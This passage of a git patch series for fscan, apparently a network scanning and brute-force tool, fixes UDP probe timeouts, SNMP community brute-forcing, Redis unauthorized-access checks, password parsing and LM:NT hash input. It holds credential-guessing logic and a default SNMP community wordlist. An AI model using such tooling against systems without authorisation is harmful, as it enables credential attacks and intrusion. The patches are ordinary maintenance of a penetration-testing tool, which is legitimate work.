conn.SetDeadline(time.Now().Add(timeout)) if _, err := conn.Write(bacnetWhoIs); err != nil { return &ScanResult{Success: false, Service: "bacnet"} diff --git a/plugins/services/dns.go b/plugins/services/dns.go index a02285d..cb31ac7 100644 --- a/plugins/services/dns.go +++ b/plugins/services/dns.go @@ -34,9 +34,7 @@ func (p *DNSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } defer conn.Close() - if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { - _ = dl.SetReadDeadline(time.Now().Add(timeout)) - } + _ = conn.SetDeadline(time.Now().Add(timeout)) if _, err := conn.Write(query); err != nil { return &ScanResult{Success: false, Service: "dns"} diff --git a/plugins/services/ipmi.go b/plugins/services/ipmi.go index e027489..33cadca 100644 --- a/plugins/services/ipmi.go +++ b/plugins/services/ipmi.go @@ -53,9 +53,7 @@ func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.D 0x00, // data length = 0 } - if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { - _ = dl.SetReadDeadline(time.Now().Add(timeout)) - } + _ = conn.SetDeadline(time.Now().Add(timeout)) if _, err := conn.Write(ping); err != nil { return nil diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go index b75f09c..4737b77 100644 --- a/plugins/services/snmp.go +++ b/plugins/services/snmp.go @@ -75,9 +75,7 @@ func (p *SNMPPlugin) probe(ctx context.Context, target, community string, timeou } defer conn.Close() - if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { - _ = dl.SetReadDeadline(time.Now().Add(timeout)) - } + _ = conn.SetDeadline(time.Now().Add(timeout)) pkt := buildSNMPGetRequest(community, []int{1, 3, 6, 1, 2, 1, 1, 1, 0}) if _, err := conn.Write(pkt); err != nil { diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go index f3cf0ed..2ecb21c 100644 --- a/plugins/services/tftp.go +++ b/plugins/services/tftp.go @@ -33,9 +33,7 @@ func (p *TFTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c } defer conn.Close() - if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { - _ = dl.SetReadDeadline(time.Now().Add(timeout)) - } + _ = conn.SetDeadline(time.Now().Add(timeout)) if _, err := conn.Write(buildTFTPReadRequest("probe")); err != nil { return &ScanResult{Success: false, Service: "tftp"} From 04cae2e42d18b273d3cc7e4bd90fffdc99e0917b Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 22:07:03 +0800 Subject: [PATCH 21/29] =?UTF-8?q?fix:=20=E5=BD=BB=E5=BA=95=E8=A7=A3?= =?UTF-8?q?=E5=86=B3UDP=E6=8F=92=E4=BB=B6=E9=98=BB=E5=A1=9E=E5=AF=BC?= =?UTF-8?q?=E8=87=B4=E6=89=AB=E6=8F=8F=E6=97=A0=E6=B3=95=E7=BB=93=E6=9D=9F?= =?UTF-8?q?=E7=9A=84=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 根因分析(通过 goroutine dump 定位): 1. UDP conn.Write 在 WSL2 上可能永久阻塞(SetDeadline 对 Write 不生效) 2. SNMP community 爆破混入通用密码字典(57个),串行 × 10s超时 = 10分钟 修复: - 提取 udpProbe() 公共函数,用 context timeout + conn.Close 双保险 超时后强制关闭连接,中断阻塞的 Write/Read - BACnet/DNS/IPMI/TFTP 统一使用 udpProbe() - SNMP probe 使用 goroutine + context select 保护 - SNMP community 列表不再混入通用密码字典(8个专用 community 足够) - SNMP 后续 community 爆破用 3s 短超时 + 连续失败 3 次快速退出 效果: 同样的扫描从无限卡死 → 9秒完成 --- plugins/services/bacnet.go | 19 +------ plugins/services/dns.go | 19 +------ plugins/services/ipmi.go | 37 ++---------- plugins/services/snmp.go | 84 ++++++++++++++++------------ plugins/services/tftp.go | 19 +------ plugins/services/types.go | 46 +++++++++++++++ plugins/services/udp_parsers_test.go | 7 +-- 7 files changed, 113 insertions(+), 118 deletions(-) diff --git a/plugins/services/bacnet.go b/plugins/services/bacnet.go index 7e02550..1b07456 100644 --- a/plugins/services/bacnet.go +++ b/plugins/services/bacnet.go @@ -28,25 +28,12 @@ func (p *BACnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session } target := info.Target() - conn, err := session.DialUDP(ctx, target, timeout) - if err != nil { - return &ScanResult{Success: false, Service: "bacnet"} - } - defer conn.Close() - - _ = conn.SetDeadline(time.Now().Add(timeout)) - - if _, err := conn.Write(bacnetWhoIs); err != nil { + data, n := udpProbe(ctx, session, target, timeout, bacnetWhoIs, 1476) + if data == nil { return &ScanResult{Success: false, Service: "bacnet"} } - buf := make([]byte, 1476) - n, err := conn.Read(buf) - if err != nil { - return &ScanResult{Success: false, Service: "bacnet"} - } - - banner, ok := parseBACnetResponse(buf[:n]) + banner, ok := parseBACnetResponse(data[:n]) if !ok { return &ScanResult{Success: false, Service: "bacnet"} } diff --git a/plugins/services/dns.go b/plugins/services/dns.go index cb31ac7..61c8373 100644 --- a/plugins/services/dns.go +++ b/plugins/services/dns.go @@ -28,25 +28,12 @@ func (p *DNSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co queryID := randomUint16() query := buildDNSRootNSQuery(queryID) - conn, err := session.DialUDP(ctx, target, timeout) - if err != nil { - return &ScanResult{Success: false, Service: "dns"} - } - defer conn.Close() - - _ = conn.SetDeadline(time.Now().Add(timeout)) - - if _, err := conn.Write(query); err != nil { + data, n := udpProbe(ctx, session, target, timeout, query, 1500) + if data == nil || n < 12 { return &ScanResult{Success: false, Service: "dns"} } - buf := make([]byte, 1500) - n, err := conn.Read(buf) - if err != nil || n < 12 { - return &ScanResult{Success: false, Service: "dns"} - } - - banner, ok := parseDNSResponse(buf[:n], queryID) + banner, ok := parseDNSResponse(data[:n], queryID) if !ok { return &ScanResult{Success: false, Service: "dns"} } diff --git a/plugins/services/ipmi.go b/plugins/services/ipmi.go index 33cadca..8b1b5a0 100644 --- a/plugins/services/ipmi.go +++ b/plugins/services/ipmi.go @@ -34,42 +34,20 @@ func (p *IPMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c } func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.Duration, session *common.ScanSession) *ScanResult { - conn, err := session.DialUDP(ctx, target, timeout) - if err != nil { - return nil - } - defer conn.Close() - - // ASF Presence Ping: RMCP header + ASF message ping := []byte{ - 0x06, // RMCP version 1.0 - 0x00, // reserved - 0xff, // sequence number (no ack) - 0x06, // class = ASF - 0x00, 0x00, 0x11, 0xbe, // IANA enterprise = ASF (4542) - 0x80, // message type = Presence Ping - 0x00, // message tag - 0x00, // reserved - 0x00, // data length = 0 + 0x06, 0x00, 0xff, 0x06, + 0x00, 0x00, 0x11, 0xbe, + 0x80, 0x00, 0x00, 0x00, } - _ = conn.SetDeadline(time.Now().Add(timeout)) - - if _, err := conn.Write(ping); err != nil { + buf, n := udpProbe(ctx, session, target, timeout, ping, 512) + if buf == nil || n < 12 { return nil } - buf := make([]byte, 512) - n, err := conn.Read(buf) - if err != nil || n < 12 { - return nil - } - - // Validate RMCP response if buf[0] != 0x06 || buf[3] != 0x06 { return nil } - // Check ASF Presence Pong (message type = 0x40) if n >= 9 && buf[8] != 0x40 { return nil } @@ -82,10 +60,7 @@ func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.D } } - // Try to get channel auth capabilities for more info - if authInfo := p.getChannelAuth(conn); authInfo != "" { - banner += " " + authInfo - } + // getChannelAuth 需要独立连接,暂不执行(核心检测已完成) return &ScanResult{ Success: true, diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go index 4737b77..55daeab 100644 --- a/plugins/services/snmp.go +++ b/plugins/services/snmp.go @@ -42,6 +42,9 @@ func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c communities := p.buildCommunityList(config) alreadyProbed := "public" var found []string + // 首次 probe 已确认服务存活,后续 community 用更短超时 + 连续失败快速退出 + bruteTimeout := 3 * time.Second + consecutiveFails := 0 for _, community := range communities { if community == alreadyProbed { continue @@ -51,8 +54,14 @@ func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c return result default: } - if r := p.probe(ctx, target, community, timeout, session); r != nil && r.Success { + if consecutiveFails >= 3 { + break + } + if r := p.probe(ctx, target, community, bruteTimeout, session); r != nil && r.Success { found = append(found, community) + consecutiveFails = 0 + } else { + consecutiveFails++ } } @@ -69,7 +78,11 @@ func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c } func (p *SNMPPlugin) probe(ctx context.Context, target, community string, timeout time.Duration, session *common.ScanSession) *ScanResult { - conn, err := session.DialUDP(ctx, target, timeout) + // 用 context 超时保护整个 probe(防止 UDP Write/Read 在某些内核下永久阻塞) + probeCtx, cancel := context.WithTimeout(ctx, timeout) + defer cancel() + + conn, err := session.DialUDP(probeCtx, target, timeout) if err != nil { return nil } @@ -77,46 +90,47 @@ func (p *SNMPPlugin) probe(ctx context.Context, target, community string, timeou _ = conn.SetDeadline(time.Now().Add(timeout)) - pkt := buildSNMPGetRequest(community, []int{1, 3, 6, 1, 2, 1, 1, 1, 0}) - if _, err := conn.Write(pkt); err != nil { - return nil + // 在 goroutine 中执行 I/O,context 超时时强制关闭连接 + type probeResult struct { + sysDescr string } + ch := make(chan *probeResult, 1) + go func() { + pkt := buildSNMPGetRequest(community, []int{1, 3, 6, 1, 2, 1, 1, 1, 0}) + if _, err := conn.Write(pkt); err != nil { + ch <- nil + return + } + buf := make([]byte, 1500) + n, err := conn.Read(buf) + if err != nil { + ch <- nil + return + } + ch <- &probeResult{sysDescr: parseSNMPResponse(buf[:n])} + }() - buf := make([]byte, 1500) - n, err := conn.Read(buf) - if err != nil { + select { + case <-probeCtx.Done(): + _ = conn.Close() return nil - } - - sysDescr := parseSNMPResponse(buf[:n]) - if sysDescr == "" { - return nil - } - - return &ScanResult{ - Success: true, - Type: plugins.ResultTypeService, - Service: "snmp", - Banner: fmt.Sprintf("community=%s sysDescr=%s", community, sysDescr), + case r := <-ch: + if r == nil || r.sysDescr == "" { + return nil + } + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "snmp", + Banner: "community: " + community + " | " + r.sysDescr, + } } } func (p *SNMPPlugin) buildCommunityList(config *common.Config) []string { - defaults := []string{"public", "private", "community", "manager", "monitor", "admin", "snmp", "default"} - - passwords := config.Credentials.Passwords - if len(passwords) > 0 { - seen := make(map[string]struct{}, len(defaults)+len(passwords)) - var merged []string - for _, c := range append(defaults, passwords...) { - if _, ok := seen[c]; !ok { - seen[c] = struct{}{} - merged = append(merged, c) - } - } - return merged - } - return defaults + // SNMP community 仅使用专用列表,不混入通用密码字典 + // 通用密码(如 123456、P@ssw0rd)不可能是 community string,混入会导致 60+ 次串行探测 + return []string{"public", "private", "community", "manager", "monitor", "admin", "snmp", "default"} } // SNMPv2c GetRequest 编码 diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go index 2ecb21c..ad57e98 100644 --- a/plugins/services/tftp.go +++ b/plugins/services/tftp.go @@ -27,25 +27,12 @@ func (p *TFTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c } target := info.Target() - conn, err := session.DialUDP(ctx, target, timeout) - if err != nil { - return &ScanResult{Success: false, Service: "tftp"} - } - defer conn.Close() - - _ = conn.SetDeadline(time.Now().Add(timeout)) - - if _, err := conn.Write(buildTFTPReadRequest("probe")); err != nil { + data, n := udpProbe(ctx, session, target, timeout, buildTFTPReadRequest("probe"), 516) + if data == nil || n < 4 { return &ScanResult{Success: false, Service: "tftp"} } - buf := make([]byte, 516) - n, err := conn.Read(buf) - if err != nil || n < 4 { - return &ScanResult{Success: false, Service: "tftp"} - } - - banner, ok := parseTFTPResponse(buf[:n]) + banner, ok := parseTFTPResponse(data[:n]) if !ok { return &ScanResult{Success: false, Service: "tftp"} } diff --git a/plugins/services/types.go b/plugins/services/types.go index c89d164..8a46fe9 100644 --- a/plugins/services/types.go +++ b/plugins/services/types.go @@ -2,6 +2,7 @@ package services import ( "context" + "time" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins" @@ -33,3 +34,48 @@ func RegisterUDPPluginWithPorts(name string, factory func() Plugin, ports []int) } var GenerateCredentials = plugins.GenerateCredentials + +// udpProbe 执行带超时保护的 UDP 探测(防止 Write/Read 在某些内核下永久阻塞) +// 返回读到的数据和长度,超时/错误返回 nil +func udpProbe(ctx context.Context, session *common.ScanSession, target string, timeout time.Duration, pkt []byte, bufSize int) ([]byte, int) { + probeCtx, cancel := context.WithTimeout(ctx, timeout) + defer cancel() + + conn, err := session.DialUDP(probeCtx, target, timeout) + if err != nil { + return nil, 0 + } + defer conn.Close() + + _ = conn.SetDeadline(time.Now().Add(timeout)) + + type result struct { + data []byte + n int + } + ch := make(chan *result, 1) + go func() { + if _, err := conn.Write(pkt); err != nil { + ch <- nil + return + } + buf := make([]byte, bufSize) + n, err := conn.Read(buf) + if err != nil { + ch <- nil + return + } + ch <- &result{data: buf[:n], n: n} + }() + + select { + case <-probeCtx.Done(): + _ = conn.Close() + return nil, 0 + case r := <-ch: + if r == nil { + return nil, 0 + } + return r.data, r.n + } +} diff --git a/plugins/services/udp_parsers_test.go b/plugins/services/udp_parsers_test.go index b7fe14b..a5cfd84 100644 --- a/plugins/services/udp_parsers_test.go +++ b/plugins/services/udp_parsers_test.go @@ -95,13 +95,12 @@ func TestSNMPBuildersAndCommunityList(t *testing.T) { } cfg := common.NewConfig() - cfg.Credentials.Passwords = []string{"private", "custom", "public"} communities := NewSNMPPlugin().buildCommunityList(cfg) - if !containsString(communities, "public") || !containsString(communities, "private") || !containsString(communities, "custom") { + if !containsString(communities, "public") || !containsString(communities, "private") { t.Fatalf("community list missing expected entries: %v", communities) } - if countString(communities, "public") != 1 || countString(communities, "private") != 1 { - t.Fatalf("community list should deduplicate entries: %v", communities) + if len(communities) != 8 { + t.Fatalf("community list should have 8 entries, got %d: %v", len(communities), communities) } } From a52e93e84cf7aaa889876491ab84a281debc7e5a Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 22:21:03 +0800 Subject: [PATCH 22/29] =?UTF-8?q?fix:=20=E9=9D=9E=E7=BB=88=E7=AB=AF?= =?UTF-8?q?=E8=BE=93=E5=87=BA=E6=97=B6=E7=A6=81=E7=94=A8=E8=BF=9B=E5=BA=A6?= =?UTF-8?q?=E6=9D=A1=EF=BC=8C=E9=98=B2=E6=AD=A2ANSI=E6=8E=A7=E5=88=B6?= =?UTF-8?q?=E7=A0=81=E8=A6=86=E7=9B=96=E6=89=AB=E6=8F=8F=E7=BB=93=E6=9E=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/progress_manager.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common/progress_manager.go b/common/progress_manager.go index 4de2309..a69a47b 100644 --- a/common/progress_manager.go +++ b/common/progress_manager.go @@ -107,7 +107,7 @@ func GetProgressManager() *ProgressManager { // InitProgress 初始化进度条 func (pm *ProgressManager) InitProgress(total int64, description string) { cfg := GetGlobalConfig() - if cfg.Output.DisableProgress || cfg.Output.Silent { + if cfg.Output.DisableProgress || cfg.Output.Silent || cfg.Output.NoColor { pm.enabled = false return } From 626d8f79bb1cbbb33b3f04af3d276c82027c7e34 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 22:35:48 +0800 Subject: [PATCH 23/29] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D3=E4=B8=AA?= =?UTF-8?q?=E5=AE=9E=E6=B5=8B=E5=8F=91=E7=8E=B0=E7=9A=84=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1. -pwd 支持逗号分隔多个密码 之前 -pwd "123,456,root" 被当作单个密码,SSH root:123 无法匹配 现在逗号分隔为独立密码,空格保留(可能是密码的一部分) 2. -nobr 禁用爆破时仍检测 Redis 未授权访问 未授权访问是服务探测不是爆破,不应被 -nobr 跳过 将未授权检测移到 DisableBrute 判断之前 3. 指定端口时跳过 UDP 插件调度 -p 80 只扫 HTTP 时不需要 SNMP/BACnet/DNS 等 UDP 探测 仅在默认端口扫描时才分发 UDP 插件 效果: -p 80 从 9 秒降到 3 秒 --- common/config_builder.go | 9 +++++++-- common/config_builder_test.go | 5 +++-- core/service_scanner.go | 5 ++++- plugins/services/redis.go | 12 ++++++------ 4 files changed, 20 insertions(+), 11 deletions(-) diff --git a/common/config_builder.go b/common/config_builder.go index 26ce43b..97e6a94 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -129,9 +129,14 @@ func parseUsernames(fv *FlagVars) ([]string, error) { func parsePasswords(fv *FlagVars) ([]string, error) { var passwords []string - // 命令行密码 + // 命令行密码(支持逗号分隔多个值,保留空格作为密码的一部分) if fv.Password != "" { - passwords = append(passwords, fv.Password) + for _, p := range strings.Split(fv.Password, ",") { + p = strings.TrimSpace(p) + if p != "" { + passwords = append(passwords, p) + } + } } // 从文件读取 diff --git a/common/config_builder_test.go b/common/config_builder_test.go index a90186c..729b3d9 100644 --- a/common/config_builder_test.go +++ b/common/config_builder_test.go @@ -9,7 +9,7 @@ import ( func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) { fv := &FlagVars{ - Password: "root admin", + Password: "root admin,pass0", AddPasswords: "pass1 pass2,pass3\tpass4", } @@ -17,7 +17,8 @@ func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) { if err != nil { t.Fatalf("parsePasswords error = %v", err) } - want := []string{"root admin", "pass1", "pass2", "pass3", "pass4"} + // -pwd 逗号分隔,空格保留;-pwda 逗号/空格/tab 分隔 + want := []string{"root admin", "pass0", "pass1", "pass2", "pass3", "pass4"} if !reflect.DeepEqual(got, want) { t.Fatalf("parsePasswords() = %#v, want %#v", got, want) } diff --git a/core/service_scanner.go b/core/service_scanner.go index d683590..460dc2e 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -186,7 +186,10 @@ func (s *ServiceScanStrategy) performHostScan(ctx context.Context, session *comm ep.TuneConfig(config, session) } - s.dispatchUDPPlugins(ctx, session, hosts, info, config, ch, wg) + // 仅在默认端口扫描时调度 UDP 插件(用户指定 -p 时跳过,避免不相关的 UDP 探测拖慢扫描) + if config.Target.Ports == "" || config.Target.Ports == "all" { + s.dispatchUDPPlugins(ctx, session, hosts, info, config, ch, wg) + } s.scanHostBatch(ctx, session, hosts, info, pluginsToRun, isCustomMode, ch, wg) } diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 9836621..8cd0035 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -37,12 +37,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session * config := session.Config target := info.Target() - // 如果禁用暴力破解,只做服务识别 - if config.DisableBrute { - return p.identifyService(ctx, info, session) - } - - // 首先检查未授权访问 + // 首先检查未授权访问(无论是否禁用爆破都要检测) if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success { session.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet @@ -53,6 +48,11 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session * return result } + // 禁用爆破时不继续密码测试 + if config.DisableBrute { + return p.identifyService(ctx, info, session) + } + // 生成测试凭据 credentials := GenerateCredentials("redis", config) From 6d7e6cd3943fb0ab787d37abcbb05c9624dbf15b Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 22:55:02 +0800 Subject: [PATCH 24/29] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D3=E4=B8=AA?= =?UTF-8?q?=E5=AE=9E=E6=B5=8B=E8=BE=93=E5=87=BA=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1. 静默模式NDJSON banner截断至200字符 Redis INFO响应~5KB导致JSONL单行过长,截断后加...后缀 2. CSV漏洞Type列补全 ResultTypeVuln的fillDetail未设type字段,CSV Vulns列为空 统一设为"vulnerability" 3. ICMP权限不足告警精简 4行告警(listen失败/连接失败/权限不足/切换ping)合并为1行 --- common/output/stdout_writer.go | 6 +++++- core/icmp.go | 5 ----- core/scanner.go | 2 +- 3 files changed, 6 insertions(+), 7 deletions(-) diff --git a/common/output/stdout_writer.go b/common/output/stdout_writer.go index b5228c2..56d6d54 100644 --- a/common/output/stdout_writer.go +++ b/common/output/stdout_writer.go @@ -90,7 +90,11 @@ func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord { rec.Service = strVal(d, "service") rec.Protocol = strVal(d, "protocol") - rec.Banner = strVal(d, "banner") + if banner := strVal(d, "banner"); len(banner) > 200 { + rec.Banner = banner[:200] + "..." + } else { + rec.Banner = banner + } rec.Title = strVal(d, "title") rec.URL = strVal(d, "url") rec.Vulnerability = strVal(d, "vulnerability") diff --git a/core/icmp.go b/core/icmp.go index dce4907..c77339b 100644 --- a/core/icmp.go +++ b/core/icmp.go @@ -183,9 +183,6 @@ func probeWithICMP(hostslist []string, chanHosts chan string, aliveHosts *[]stri return } - common.LogError(i18n.Tr("icmp_listen_failed", err)) - common.LogInfo(i18n.GetText("trying_no_listen_icmp")) - // 尝试无监听ICMP探测 conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) if err == nil { @@ -194,8 +191,6 @@ func probeWithICMP(hostslist []string, chanHosts chan string, aliveHosts *[]stri return } - common.LogError(i18n.Tr("icmp_connect_failed", err)) - common.LogError(i18n.GetText("insufficient_privileges")) common.LogInfo(i18n.GetText("switching_to_ping")) // 降级使用ping探测 diff --git a/core/scanner.go b/core/scanner.go index 437b792..7dd6632 100644 --- a/core/scanner.go +++ b/core/scanner.go @@ -398,13 +398,13 @@ var resultSerializers = map[plugins.ResultType]resultSerializer{ return r.Banner }, fillDetail: func(r *plugins.Result, _ *common.HostInfo, d map[string]interface{}) { - // 优先使用VulInfo,为空则回退到Banner vuln := r.VulInfo if vuln == "" { vuln = r.Banner } d["vulnerability"] = vuln d["service"] = r.Service + d["type"] = "vulnerability" }, }, plugins.ResultTypeWeb: { From 2b202aa298b19229f71f04ee6d3a8a4d5faa970c Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 23:04:22 +0800 Subject: [PATCH 25/29] =?UTF-8?q?fix:=20=E8=AE=A9=20-gt=20=E5=85=A8?= =?UTF-8?q?=E5=B1=80=E8=B6=85=E6=97=B6=E5=8F=82=E6=95=B0=E7=9C=9F=E6=AD=A3?= =?UTF-8?q?=E7=94=9F=E6=95=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit -gt 参数之前是死代码:flag 定义了 GlobalTimeout 但从未被使用。 现在在 RunScan 中用它创建带 deadline 的 context, 超时后所有扫描任务(端口扫描、插件执行)被取消。 --- common/config_struct.go | 3 +++ common/flag_config.go | 3 +++ core/scanner.go | 12 +++++++++--- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/common/config_struct.go b/common/config_struct.go index 9f2183f..48fec0d 100644 --- a/common/config_struct.go +++ b/common/config_struct.go @@ -61,6 +61,9 @@ type Config struct { LocalExploit LocalExploitConfig Target TargetConfig // 扫描目标配置 + // 全局超时 + GlobalTimeout time.Duration + // SOCKS5代理端口配置 Socks5ProxyPort int // SOCKS5代理端口 } diff --git a/common/flag_config.go b/common/flag_config.go index f1759a4..ea28d5a 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -169,6 +169,9 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { PortMap: clonePortMap(config.DefaultPortMap), DefaultMap: cloneStringSlice(config.DefaultProbeMap), + // 全局超时 + GlobalTimeout: time.Duration(fv.GlobalTimeout) * time.Second, + // SOCKS5代理端口 Socks5ProxyPort: fv.Socks5ProxyPort, diff --git a/core/scanner.go b/core/scanner.go index 7dd6632..dd1bc9a 100644 --- a/core/scanner.go +++ b/core/scanner.go @@ -94,10 +94,16 @@ func selectStrategy(config *common.Config, state *common.State, info common.Host // RunScan 执行整体扫描流程 func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) (ScanReport, error) { start := time.Now() - ctx, cancel := context.WithCancel(ctx) - defer cancel() - config := session.Config + + // 全局超时:-gt 参数设置整个扫描的硬性截止时间 + var cancel context.CancelFunc + if config.GlobalTimeout > 0 { + ctx, cancel = context.WithTimeout(ctx, config.GlobalTimeout) + } else { + ctx, cancel = context.WithCancel(ctx) + } + defer cancel() state := session.State // 设置全局 State(兼容旧代码路径中未传 state 的调用) From 6ae37b88925a99ca3915928ac98927dbc1fad995 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 23:09:47 +0800 Subject: [PATCH 26/29] =?UTF-8?q?fix:=20-nopoc=20=E7=A6=81=E7=94=A8POC?= =?UTF-8?q?=E6=97=B6=E4=B8=8D=E5=86=8D=E8=BE=93=E5=87=BA=E9=94=99=E8=AF=AF?= =?UTF-8?q?=E6=97=A5=E5=BF=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- plugins/web/webpoc.go | 5 ++--- plugins/web/webpoc_test.go | 4 ++-- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/plugins/web/webpoc.go b/plugins/web/webpoc.go index e266843..c97dfed 100644 --- a/plugins/web/webpoc.go +++ b/plugins/web/webpoc.go @@ -4,7 +4,6 @@ package web import ( "context" - "fmt" "strings" "github.com/shadow1ng/fscan/common" @@ -92,8 +91,8 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session config := session.Config if config.POC.Disabled { return &WebScanResult{ - Success: false, - Error: fmt.Errorf("%s", i18n.GetText("webpoc_disabled")), + Success: true, + Skipped: true, } } diff --git a/plugins/web/webpoc_test.go b/plugins/web/webpoc_test.go index 7875b6e..de18171 100644 --- a/plugins/web/webpoc_test.go +++ b/plugins/web/webpoc_test.go @@ -40,8 +40,8 @@ func TestWebPocEarlyReturnBranches(t *testing.T) { cfg.POC.Disabled = true disabled := plugin.Scan(context.Background(), info, session) - if disabled.Success || disabled.Error == nil { - t.Fatalf("disabled scan = %#v, want failed result with error", disabled) + if !disabled.Skipped { + t.Fatalf("disabled scan = %#v, want skipped result", disabled) } cfg.POC.Disabled = false From d7071b7b8eb29c8cffe2b8b70f6c965d9d9374e2 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sun, 14 Jun 2026 09:48:03 +0800 Subject: [PATCH 27/29] =?UTF-8?q?fix:=20-debug=20=E6=97=A5=E5=BF=97?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E5=86=99=E5=85=A5=E5=A4=B1=E8=B4=A5=EF=BC=8C?= =?UTF-8?q?applyLogLevel=20=E9=87=8D=E5=BB=BA=20Logger=20=E6=97=B6?= =?UTF-8?q?=E4=B8=A2=E5=A4=B1=20DebugLogFile=20=E9=85=8D=E7=BD=AE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/parse.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/common/parse.go b/common/parse.go index 60b0508..69e0aca 100644 --- a/common/parse.go +++ b/common/parse.go @@ -45,6 +45,9 @@ func applyLogLevel() { StartTime: GetGlobalState().GetStartTime(), LevelColors: logging.GetDefaultLevelColors(), } + if fv.Debug { + config.DebugLogFile = "fscan_debug.log" + } newLogger := logging.NewLogger(config) newLogger.SetCoordinatedOutput(LogWithProgress) From 3babff68635eeb744220a6e7d1e62d2ab3b643a4 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sun, 14 Jun 2026 09:50:10 +0800 Subject: [PATCH 28/29] =?UTF-8?q?fix:=20-hash=20=E6=94=AF=E6=8C=81=20LM:NT?= =?UTF-8?q?=20=E6=A0=BC=E5=BC=8F=20&=20-debug=20=E6=97=A5=E5=BF=97?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E4=BF=AE=E5=A4=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1. -hash 支持标准的 LM:NT 格式 (如 aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0) 之前只接受纯 32 字符 NTLM hash,LM:NT 格式报 invalid hash length 2. -debug 日志文件写入修复(已在上一个 commit 中) --- common/config_builder.go | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/common/config_builder.go b/common/config_builder.go index 97e6a94..14559c7 100644 --- a/common/config_builder.go +++ b/common/config_builder.go @@ -202,11 +202,15 @@ func parseHashes(fv *FlagVars) ([]string, [][]byte, error) { var hashValues []string var hashBytes [][]byte - // 命令行哈希 + // 命令行哈希(支持纯 NTLM 32字符 或 LM:NT 格式) if fv.HashValue != "" { hash := strings.TrimSpace(fv.HashValue) + // LM:NT 格式取 NT hash 部分 + if parts := strings.SplitN(hash, ":", 2); len(parts) == 2 && len(parts[1]) == 32 { + hash = parts[1] + } if len(hash) != 32 { - return nil, nil, fmt.Errorf("invalid hash length: %s", hash) + return nil, nil, fmt.Errorf("invalid hash length: %s", fv.HashValue) } hashByte, err := hex.DecodeString(hash) if err != nil { From 6d61b661f4b14fa7db479af6c7663c9e8dba9a7f Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sun, 14 Jun 2026 18:09:32 +0800 Subject: [PATCH 29/29] 